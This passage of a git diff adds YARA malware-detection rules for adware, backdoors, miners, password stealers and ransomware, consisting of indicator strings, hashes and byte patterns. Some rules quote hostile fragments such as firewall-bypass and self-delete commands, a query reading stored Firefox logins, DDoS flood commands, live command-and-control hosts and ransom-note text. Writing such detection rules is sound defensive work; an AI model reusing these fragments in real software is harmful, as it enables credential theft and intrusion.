+        $ = "CrimeWatch.exe" ascii wide
+        $ = "CrimeWatchService.exe" ascii wide
+
+        $ = "SafeWeb.exe" ascii wide
+        $ = "SafeWebService.exe" ascii wide
+
+        $ = "Meteoroids.exe" ascii wide
+        $ = "MeteoroidsService.exe" ascii wide
+
+        $ = "Websteroids.exe" ascii wide
+        $ = "WebsteroidsService.exe" ascii wide
+
+        $ = "WebShield.exe" ascii wide
+        $ = "WebShieldService.exe" ascii wide
+
+        $ = "ZombieNews.exe" ascii wide
+        $ = "ZombieNewsService.exe" ascii wide
+
+        $ = "CelebrityAlertService.exe" ascii wide
+        $ = "CelebrityAlert.exe" ascii wide
+
+        $ = "MovieMaster.exe" ascii wide
+        $ = "MovieMasterService.exe" ascii wide
+
+        $ = "ZombieInvasionService.exe" ascii wide
+        $ = "ZombieInvasion.exe" ascii wide
+
+        $ = "BreakingNewsAlertService.exe" ascii wide
+        $ = "BreakingNewsAlert.exe" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.SProtect.yar b/yara-mikesxrs/g00dv1n/Adware.SProtect.yar
new file mode 100644
index 0000000..7041421
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.SProtect.yar
@@ -0,0 +1,38 @@
+rule SearchProtectSample
+{
+    meta:
+        Description = "Adware.SProtect.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "Search Protect" ascii wide
+		$ = "SearchProtect" ascii wide
+		$ = "Search Protector" ascii wide
+		$ = "SearchProtector" ascii wide
+		$ = "ClientConnect" ascii wide
+		$ = "SPVC32.dll" ascii wide
+		$ = "SPVC32Loader.dll" ascii wide
+		$ = "SPVC64.dll" ascii wide
+		$ = "SPVC64Loader.dll" ascii wide
+		$ = "SProtector" ascii wide
+		$ = "AppendInit.dll" ascii wide
+		$ = "{12DA0E6F-5543-440C-BAA2-28BF01070AFA}" ascii wide
+		$pdb1 = "CltMngSvc.pdb" ascii wide
+		$pdb2 = "SPtool.pdb" ascii wide
+		$pdb3 = "SPtool64.pdb" ascii wide
+		$pdb4 = "SPVC32.pdb" ascii wide
+		$pdb5 = "SPVC64.pdb" ascii wide
+		$pdb6 = "SPVC32Loader.pdb" ascii wide
+		$pdb7 = "SPVC64Loader.pdb" ascii wide
+		$pdb8 = "cltmng.pdb" ascii wide
+		$pdb9 = "MiniStubUtils.pdb" ascii wide
+		$pdb10 = "Search Protector" ascii wide
+		$pdb11 = "%programfiles%\\Free Offers from" ascii wide
+		$pdb12 = "TestSearchProtect" ascii wide
+		$pdb13 = "ProtectService.pdb" ascii wide
+		$pdb14 = "E:\\supsoft" ascii wide
+		$pdb15 = "BrowerWatch.dll" ascii wide
+
+    condition:
+        (2 of them) or (any of ($pdb*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.SearchSuite.yar b/yara-mikesxrs/g00dv1n/Adware.SearchSuite.yar
new file mode 100644
index 0000000..cd77bec
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.SearchSuite.yar
@@ -0,0 +1,26 @@
+rule SearchSuiteSample
+{
+    meta:
+        Description = "Adware.SearchSuite.vb"
+        ThreatLevel = "5"
+
+    strings:
+        //$ = "SearchSuite" ascii wide
+        $ = "searchcore.net" ascii wide
+        $ = "searchnu.com" ascii wide
+        $ = "searchqu.com" ascii wide
+        $ = "searchsheet.com" ascii wide
+        $ = "adoresearch.com" ascii wide
+        $ = "newsearchtab.com" ascii wide
+        $ = "searchsupreme.com" ascii wide
+        $ = "mlsearch.com" ascii wide
+        $ = "insertsearch.com" ascii wide
+        $ = "gotsearch.com" ascii wide
+        $ = "search.ask.com" ascii wide
+        $ = "search-results.com" ascii wide
+        $ = "default-search.net" ascii wide
+        $ = "imesh web search" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Sendori.yar b/yara-mikesxrs/g00dv1n/Adware.Sendori.yar
new file mode 100644
index 0000000..0da5414
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Sendori.yar
@@ -0,0 +1,34 @@
+rule AdwareSendoriSample
+{
+    meta:
+        Description = "Adware.Sendori.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "SendoriSvc.pdb" ascii wide
+        $ = "SendoriTray.pdb" ascii wide
+        $ = "sendori64f.sys" ascii wide
+        $ = "sendori64r.sys" ascii wide
+        $ = "sendori32.sys" ascii wide
+        $ = "Sendori.dll" ascii wide
+        $ = "SendoriProxy.dll" ascii wide
+        $ = "SendoriUp.exe" ascii wide
+        $ = "SendoriSvc.exe" ascii wide
+        $ = "SendoriTray.exe" ascii wide
+        $ = "SendoriControl.exe" ascii wide
+        $ = "sendori-win-upgrader.exe" ascii wide
+        $ = "\\\\.\\pipe\\Sendori" ascii wide
+        $ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Sendori" ascii wide
+        $ = "SOFTWARE\\Sendori" ascii wide
+        $ = "Sendori, Inc" ascii wide
+        $ = "Sendori Service" ascii wide
+        $ = "Service Sendori" ascii wide
+        $ = "Application Sendori" ascii wide
+        $ = "SendoriLSP" ascii wide
+        $ = "Sendori Elevated Service Controller" ascii wide
+        $ = "Sendori-Client" ascii wide
+        $ = "SENDORI_UPGRADE_ASSISTANT" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.SimplyTech.yar b/yara-mikesxrs/g00dv1n/Adware.SimplyTech.yar
new file mode 100644
index 0000000..34f2169
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.SimplyTech.yar
@@ -0,0 +1,16 @@
+rule SimplyTechSample
+{
+    meta:
+        Description = "Adware.SimplyTech.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "wtb_64.pdb" ascii wide
+        $ = "wtb_64.DLL" ascii wide
+        $ = "wtb.ToolbarInfo" ascii wide
+        $ = "Surf Canyon" ascii wide
+        $ = "surfcanyon" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.SmartApps.yar b/yara-mikesxrs/g00dv1n/Adware.SmartApps.yar
new file mode 100644
index 0000000..8cfbaab
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.SmartApps.yar
@@ -0,0 +1,23 @@
+rule SmartAppsSample
+{
+    meta:
+        Description = "Adware.SmartApps.vb"
+        ThreatLevel = "5"
+
+    strings:
+
+		$a1 = "Unicows.dll" ascii wide
+		$a2 = "FrameworkBHO.DLL" ascii wide
+		$a3 = "URLDownloadToFile" ascii wide
+		$a4 = "getExtensionFileContents" ascii wide
+		$a5 = "Toolbar" ascii wide
+		$a6 = "GdiplusStartup" ascii wide
+
+        $b1 = "getCookieW" ascii wide
+        $b2 = "setCookieW" ascii wide
+        $b3 = "InternetSetCookieW" ascii wide
+        $b5 = "InternetGetCookieExW" ascii wide
+
+    condition:
+        (all of ($b*)) and (any of ($a*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Solimbda.yar b/yara-mikesxrs/g00dv1n/Adware.Solimbda.yar
new file mode 100644
index 0000000..18cf783
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Solimbda.yar
@@ -0,0 +1,13 @@
+rule AdwareSolimbdaSample
+{
+    meta:
+        Description = "Adware.Solimbda.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "http://api.downloadmr.com" ascii wide
+		$ = "SuggestedApps" ascii wide
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Trioris.yar b/yara-mikesxrs/g00dv1n/Adware.Trioris.yar
new file mode 100644
index 0000000..e6a499f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Trioris.yar
@@ -0,0 +1,17 @@
+rule TriorisSample
+{
+    meta:
+        Description = "Adware.Trioris.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "instamarket.js" ascii wide
+        $ = "instamarketoff.js" ascii wide
+        $ = "trioris.net" ascii wide
+        $ = "storegid.com" ascii wide
+        $ = "screentoolkit.com" ascii wide
+        $ = "Sergey Cherezov" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Vitruvian.yar b/yara-mikesxrs/g00dv1n/Adware.Vitruvian.yar
new file mode 100644
index 0000000..d81783d
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Vitruvian.yar
@@ -0,0 +1,18 @@
+rule AdwareVitruvianSample
+{
+    meta:
+        Description = "Adware.Vitruvian.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "WordProser" ascii wide
+		$ = "vitruvian" ascii wide
+		$ = "gethighlightly.com" ascii wide
+		$ = "betterbrainapp.com" ascii wide
+		$ = "wordproser.com" ascii wide
+		$ = "intellitermapp.com" ascii wide
+		$ = "BetterBrainClientIE.pdb" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Wajam.yar b/yara-mikesxrs/g00dv1n/Adware.Wajam.yar
new file mode 100644
index 0000000..974c471
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Wajam.yar
@@ -0,0 +1,27 @@
+rule AdwareWajamSample
+{
+	meta:
+		Description  = "Adware.Wajam.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "fastnfreedownload.com" ascii wide
+		$ = "InternetEnhancer.exe" ascii wide
+		$ = "InternetEnhancerService.exe" ascii wide
+		$ = "WJManifest" ascii wide
+		$ = "WaInterEnhance" ascii wide
+		$ = "ping_wajam" ascii wide
+		$ = "D:\\jenkins\\workspace" ascii wide
+		$ = "WajamService" ascii wide
+		$ = "AVCWJService" ascii wide
+		$ = "Internet Enhancer Service" ascii wide
+
+		$a1 = "WajamInternetEnhancerService.pdb" ascii wide
+		$a4 = "WHttpServer.pdb" ascii wide
+		$a2 = "Wajam. All right reserved" ascii wide
+		$a3 = "Wajam.Proxy" ascii wide
+
+	condition:
+		(3 of them) or (any of ($a*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.WebTools.yar b/yara-mikesxrs/g00dv1n/Adware.WebTools.yar
new file mode 100644
index 0000000..b3aacd0
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.WebTools.yar
@@ -0,0 +1,40 @@
+rule RootkitSampleDriverAgony
+{
+	meta:
+		Description  = "Trojan.Agony.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$  = "DosDevices\\agony" ascii wide
+		$  = "Device\\agony" ascii wide
+		$  = "VOLUME.INI" ascii wide
+		$  = "ERVICES.EXE" ascii wide
+		$  = "ervices.exe" ascii wide
+		$  = "agony rootkit" ascii wide
+		$  = "agony" ascii wide
+		$  = "for exemple: agony -p process1.exe process2.exe" ascii wide
+		$a = "i386\\agony.pdb" ascii wide
+
+	condition:
+		(3 of them) or $a
+}
+
+rule AdwareSampleWebTools
+{
+	meta:
+		Description  = "Adware.WebTools.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "IEctrl.log" ascii wide
+		$ = "agony" ascii wide
+		$s1 = "Gates.pdb" ascii wide
+		$s0 = "GatesInstall.pdb" ascii wide
+		$s2 = "IECtrl.pdb" ascii wide
+		$s3 = "svch0st.exe" ascii wide
+		$s4 = "SESDKDummy.dll" ascii wide
+		$s5 = "SESDKDummy64.dll" ascii wide
+
+	condition:
+		(3 of them) or (any of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.WebWatcher.yar b/yara-mikesxrs/g00dv1n/Adware.WebWatcher.yar
new file mode 100644
index 0000000..da82d73
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.WebWatcher.yar
@@ -0,0 +1,16 @@
+rule AdwareWebWatcherSample
+{
+    meta:
+        Description = "Adware.WebWatcher.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "E:\\BuildSource\\7\\WindowsClient\\WindowsClient.Client.RC\\Binaries" ascii wide
+		$ = "Release DlpHook\\mcapp.pdb" ascii wide
+		$ = "Release DlpHook\\mcsc.pdb" ascii wide
+		$ = "Release Sonar\\Shim64.pdb" ascii wide
+		$ = "Release Sonar\\Shim.pdb" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.iBryte.yar b/yara-mikesxrs/g00dv1n/Adware.iBryte.yar
new file mode 100644
index 0000000..e99a6d2
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.iBryte.yar
@@ -0,0 +1,14 @@
+rule AdwareiBryteSample
+{
+	meta:
+		Description  = "Adware.iBryte.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "install.ibryte.com" ascii wide
+		$ = "pn-installer28.com" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.uKor.yar b/yara-mikesxrs/g00dv1n/Adware.uKor.yar
new file mode 100644
index 0000000..713e9a7
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.uKor.yar
@@ -0,0 +1,25 @@
+rule AdwareUCSKoreaSample
+{
+	meta:
+		Description  = "Adware.uKor.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "_uninstall_Mutex" ascii wide
+		$ = "_updater_Mutex" ascii wide
+		$ = "_main_Mutex" ascii wide
+		$ = "_install_Mutex" ascii wide
+		$ = "main_agent" ascii wide
+		$ = "updater_agent" ascii wide
+		$ = "APP/bundle.php" ascii wide
+		$ = "APP/update_ck.php?v1" ascii wide
+		$ = "APP/bundle_stat.php?v1" ascii wide
+		$ = "APP/stat.php?v1" ascii wide
+		$ = "co.kr/mbk.php?v1" ascii wide
+		$ = "co.kr/etc/yak_app.htm" ascii wide
+
+		$hex1 = { 51 a1 ?? ?? ?? ?? 56 68 80 1f 40 00 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 d2 68 b8 0b 00 00 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 04 85 c0 74 ?? 68 3f 00 0f 00 6a 00 6a 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8b ?? ?? ?? ?? ?? 68 ff 01 0f 00 51 50 ff ?? ?? ?? ?? ?? 8b f0 85 f6 74 ?? 6a 00 6a 04 e8 ?? ?? ?? ?? 83 c4 08 68 c8 e8 41 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 00 6a 01 e8 ?? ?? ?? ?? 83 c4 08 eb ?? 8b ?? ?? ?? 68 28 6e 42 00 6a 01 56 ff ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 5e 74 ?? 6a 00 ff ?? ?? ?? ?? ?? 8b d0 b8 01 00 00 00 e8 ?? ?? ?? ?? 83 c4 04 59 c2 08 00}
+
+	condition:
+		(2 of them) or (any of ($hex*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Bladabindi.yar b/yara-mikesxrs/g00dv1n/Backdoor.Bladabindi.yar
new file mode 100644
index 0000000..4926b5e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Bladabindi.yar
@@ -0,0 +1,26 @@
+rule BladabindiASample
+{
+    meta:
+        Description = "Backdoor.Bladabindi.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "shutdown -r -t 00" ascii wide
+        $ = "netsh firewall add allowedprogram" ascii wide
+        $ = "netsh firewall delete allowedprogram" ascii wide
+        $ = "cmd.exe /k ping 0 & del" ascii wide
+        $ = "ReceiveBufferSize" ascii wide
+        $ = "SendBufferSize" ascii wide
+        $ = "restartcomputer" ascii wide
+        $ = "NoWindowsUpdate" ascii wide
+        $ = "winupdateoff" ascii wide
+        $ = "DisableTaskMgr" ascii wide
+        $ = "set cdaudio door closed" ascii wide
+        $ = "set cdaudio door open" ascii wide
+        $ = "VMDragDetectWndClass" ascii wide
+        $ = "%dark%" ascii wide
+        $ = "microwaveone.ddns.net" ascii wide
+
+    condition:
+        5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Dedipros.yar b/yara-mikesxrs/g00dv1n/Backdoor.Dedipros.yar
new file mode 100644
index 0000000..79faeee
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Dedipros.yar
@@ -0,0 +1,16 @@
+rule BackdoorDediprosA
+{
+        meta:
+			Description  = "Backdoor.Dedipros.rc"
+			ThreatLevel  = "5"
+
+        strings:
+            $ = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/advapi32.dll" ascii wide
+			$ = "rundll32.exe %s, CodeMain lpServiceName" ascii wide
+			$ = "C:\\Windows\\System32\\Rundlla.dll" ascii wide
+			$ = "s%\\pmeT\\SWODNIW\\:C" ascii wide
+			$ = "SYSTEM\\CurrentControlSet\\Services\\%s" ascii wide
+			$ = "\\keylog.dat" ascii wide
+        condition:
+            2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Fynloski.yar b/yara-mikesxrs/g00dv1n/Backdoor.Fynloski.yar
new file mode 100644
index 0000000..f3afd67
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Fynloski.yar
@@ -0,0 +1,33 @@
+rule BackdoorWin32FynloskiASample
+{
+	meta:
+		Description  = "Backdoor.Fynloski.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "#BOT#VisitUrl" ascii wide
+		$ = "#BOT#OpenUrl" ascii wide
+		$ = "#BOT#Ping" ascii wide
+		$ = "BTRESULTPing|Res" ascii wide
+		$ = "#BOT#RunPrompt" ascii wide
+		$ = "BTRESULTClose" ascii wide
+		$ = "#BOT#SvrUninstal" ascii wide
+		$ = "#BOT#URLUpdate" ascii wide
+		$ = "BTERRORUpdate" ascii wide
+		$ = "BTRESULTUpdate" ascii wide
+		$ = "#BOT#URLDownload" ascii wide
+		$ = "BTRESULTOpen" ascii wide
+		$ = "BTERRORDownload" ascii wide
+		$ = "BTRESULTDownload" ascii wide
+		$ = "BTRESULTMass" ascii wide
+		$ = "BTRESULTHTTP" ascii wide
+		$ = "BTERRORVisit" ascii wide
+		$ = "BTRESULTSyn" ascii wide
+		$ = "BTRESULTUDP" ascii wide
+		$ = "Flood|UDP Flood task finished" ascii wide
+		$ = "Flood|Syn task finished" ascii wide
+		$ = "Flood|Http Flood task finished" ascii wide
+
+	condition:
+		3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Gen.yar b/yara-mikesxrs/g00dv1n/Backdoor.Gen.yar
new file mode 100644
index 0000000..3a86202
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Gen.yar
@@ -0,0 +1,16 @@
+rule BackdoorGenASample
+{
+    meta:
+        Description = "Backdoor.Gen.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "Form1" ascii wide
+        $ = "Flamand" ascii wide
+        $ = "Afildoe.Belver" ascii wide
+        $ = "FromBase64String" ascii wide
+        $ = "TeAdor.Properties.Resources" ascii wide
+
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Liudoor.yar b/yara-mikesxrs/g00dv1n/Backdoor.Liudoor.yar
new file mode 100644
index 0000000..900503e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Liudoor.yar
@@ -0,0 +1,27 @@
+rule BackdoorLiudoor
+{
+meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        Description = "Backdoor.Liudoor.sm"
+        ThreatLevel  = "5"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+		hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+
+strings:
+        $string0 = "Succ" ascii wide
+        $string1 = "Fail" ascii wide
+        $string2 = "pass" ascii wide
+        $string3 = "exit" ascii wide
+        $string4 = "svchostdllserver.dll" ascii wide
+        $string5 = "L$,PQR" ascii wide
+        $string6 = "0/0B0H0Q0W0k0" ascii wide
+        $string7 = "QSUVWh" ascii wide
+        $string8 = "Ht Hu[" ascii wide
+condition:
+        all of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Mirage.yar b/yara-mikesxrs/g00dv1n/Backdoor.Mirage.yar
new file mode 100644
index 0000000..8ca5b38
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Mirage.yar
@@ -0,0 +1,14 @@
+rule MirageAPTBackdoorSample
+{
+        meta:
+			Description  = "Backdoor.Mirage.sm"
+			ThreatLevel  = "5"
+
+        strings:
+               $a1 = "welcome to the desert of the real" ascii wide
+               $a2 = "Mirage" ascii wide
+               $b = "Encoding: gzip" ascii wide
+               $c = /\/[A-Za-z]*\?hl=en/
+        condition:
+               (($a1 or $a2) or $b) and $c
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Vawtrak.yar b/yara-mikesxrs/g00dv1n/Backdoor.Vawtrak.yar
new file mode 100644
index 0000000..2e1d506
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Vawtrak.yar
@@ -0,0 +1,49 @@
+rule TrojanWin32Vawtrak_BackDoor
+{
+	meta:
+		Description  = "Backdoor.Win32.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "[VNC] New Client" ascii wide
+		$ = "[VNC] Fail init BC" ascii wide
+		$ = "[VNC] Fail addr proto BC" ascii wide
+		$ = "[VNC] Fail connect BC" ascii wide
+		$ = "[VNC] Fail init work:" ascii wide
+		$ = "[VNC] Start Sever" ascii wide
+		$ = "[VNC] Parse param error:" ascii wide
+		$ = "[VNC] Fail create  process:" ascii wide
+		$ = "[VNC] Fail inject to process:" ascii wide
+		$ = "[Socks] New Client" ascii wide
+		$ = "[Socks] Failt Init BC" ascii wide
+		$ = "[Socks] Fail add proto BC" ascii wide
+		$ = "[Socks] Failt connect BC" ascii wide
+		$ = "[Socks] Fail parse param:" ascii wide
+		$ = "[Pony] Fail Get Pass" ascii wide
+		$ = "DL_EXEC Status [Pipe]" ascii wide
+		$ = "DL_EXEC Status[Local]" ascii wide
+		$ = "Start Socks addr:" ascii wide
+		$ = "Start Socks Status[Pipe]" ascii wide
+		$ = "Start Socks Status[Local]" ascii wide
+		$ = "Start VNC addr: %s" ascii wide
+		$ = "Start VNC Status[Pipe]: %u-%u-%u" ascii wide
+		$ = "Start VNC Status[Local]: %u" ascii wide
+		$ = "PID: %u [%0.2u:%0.2u:%0.2u]" ascii wide
+		$ = "[BC] Cmd Ver Error" ascii wide
+		$ = "[BC] Wait Ping error %u[%u]" ascii wide
+		$ = "[BC] Fail Connect" ascii wide
+		$ = "[BC] Fail send auth" ascii wide
+		$ = "[BC] Fail read cmd" ascii wide
+		$ = "[BC] cmd error: %u" ascii wide
+		$ = "[BC] Cmd need disconnect" ascii wide
+		$ = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" ascii wide
+		
+		$str_0 = "T:\\Develop\\EQ2\\bin\\tmp" ascii wide
+		$str_1 = "T:\\Develop\\EQ2\\bin\\tmp\\client_32.pdb" ascii wide
+		$str_2 = "T:\\Develop\\EQ2\\bin\\tmp\\client_64.pdb" ascii wide
+		$str_3 = "client_64.dll" ascii wide   
+		$str_4 = "client_32.dll" ascii wide
+
+	condition:
+		(5 of them) or (any of ($str_*))
+}
diff --git a/yara-mikesxrs/g00dv1n/Backdoor.Zegost.yar b/yara-mikesxrs/g00dv1n/Backdoor.Zegost.yar
new file mode 100644
index 0000000..57bc658
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Backdoor.Zegost.yar
@@ -0,0 +1,17 @@
+rule BackdoorZegostSampleA
+{
+        meta:
+			Description  = "Backdoor.Zegost.rc"
+			ThreatLevel  = "5"
+
+        strings:
+            $a = "VIPBlackDDOS" ascii wide
+			$b = "SynFlood" ascii wide
+			$c = "ICMPFlood" ascii wide
+			$d = "UDPFlood" ascii wide
+			$e = "DNSFlood" ascii wide
+			$f = "Game2Flood" ascii wide
+			$g = "HTTPGetFlood" ascii wide
+        condition:
+            2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Malware.BitCoinMiner.yar b/yara-mikesxrs/g00dv1n/Malware.BitCoinMiner.yar
new file mode 100644
index 0000000..0d9c671
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Malware.BitCoinMiner.yar
@@ -0,0 +1,16 @@
+rule MalwareBitCoinMinerSample_A
+{
+	meta:
+		Description  = "Malware.BitCoinMiner.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Min3Win.exe" ascii wide
+		$ = "bitcoin-miner.exe" ascii wide
+		$ = "WINSXS32" ascii wide
+		$ = "http://xhuehs.cantvenlinea.ru:1942" ascii wide
+		$ = "bigbob0000001@gmail.com" ascii wide
+
+	condition:
+		3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Malware.Downloader.yar b/yara-mikesxrs/g00dv1n/Malware.Downloader.yar
new file mode 100644
index 0000000..c7bd630
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Malware.Downloader.yar
@@ -0,0 +1,13 @@
+rule TinyLoaderSample
+{
+	meta:
+		Description  = "Malware.TinyLoader.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "B1 Tiny Loader/1.0" ascii wide
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Malware.PWS.yar b/yara-mikesxrs/g00dv1n/Malware.PWS.yar
new file mode 100644
index 0000000..616b054
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Malware.PWS.yar
@@ -0,0 +1,15 @@
+rule PWSPasswordsToDBApp
+{
+	meta:
+		Description  = "PWS.PassDB.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb0 = "PasswordsToDB.pdb" ascii wide
+		$ipa0 = "82.146.47.116" ascii wide
+		$ipa1 = "82.146.54.187" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/PUP.SystemOptimizer.yar b/yara-mikesxrs/g00dv1n/PUP.SystemOptimizer.yar
new file mode 100644
index 0000000..8c78963
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/PUP.SystemOptimizer.yar
@@ -0,0 +1,14 @@
+rule PUPSystemOptimizerASample
+{
+	meta:
+		Description  = "PUP.SystemOptimizer.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://bitest.softservers.net" ascii wide
+		$ = "http://bi.softservers.net" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/PUP.Systweak.yar b/yara-mikesxrs/g00dv1n/PUP.Systweak.yar
new file mode 100644
index 0000000..d04ff3f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/PUP.Systweak.yar
@@ -0,0 +1,14 @@
+rule PUPSystweakSample
+{
+	meta:
+		Description  = "PUP.Systweak.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "Systweak Software0" ascii wide
+		$ = "pc-updater.com/miscservice/miscservice.asmx" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Ransom.Crypters.yar b/yara-mikesxrs/g00dv1n/Ransom.Crypters.yar
new file mode 100644
index 0000000..4c8a321
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Ransom.Crypters.yar
@@ -0,0 +1,230 @@
+rule RansomCryptoApp_A
+{
+	meta:
+		Description  = "Ransom.CryptoApp.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb0 = "CryptoApp.pdb" ascii wide
+		$pdb1 = "KeepAlive.pdb" ascii wide
+		$pdb2 = "SelfDestroy.pdb" ascii wide
+		$pdb3 = "CoreDownloader.pdb" ascii wide
+
+	condition:
+		(3 of them) or (any of ($pdb*))
+}
+
+rule RansomCryptoWallApp_3
+{
+	meta:
+		Description  = "Ransom.CryptoWall.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "spatopayforwin.com" ascii wide
+		$s1 = "bythepaywayall.com" ascii wide
+		$s2 = "lowallmoneypool.com" ascii wide
+		$s3 = "transoptionpay.com" ascii wide
+		$s4 = "HELP_DECRYPT" ascii wide nocase
+
+		$s5 = "speralreaopio.com" ascii wide
+        $s6 = "vremlreafpa.com" ascii wide
+        $s7 = "wolfwallsreaetpay.com" ascii wide
+        $s8 = "askhoreasption.com" ascii wide
+
+	condition:
+		any of ($s*)
+}
+
+rule RansomCBTLockerApp
+{
+	meta:
+		Description  = "Ransom.CBTLocker.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "Your personal files are encrypted by CTB-Locker" ascii wide
+		$s1 = "Your documents, photos, databases and other important files have been encrypted with strongest encryption and unique key,generated for this computer" ascii wide
+		$s2 = "Private decryption key is stored on a secret Internet server and nobody can decrypt your files until you pay and obtain the private key." ascii wide
+		$s3 = "If you see the main locker window, follow the instructions on the locker. Overwise, it's seems that you or your antivirus deleted the locker program" ascii wide
+
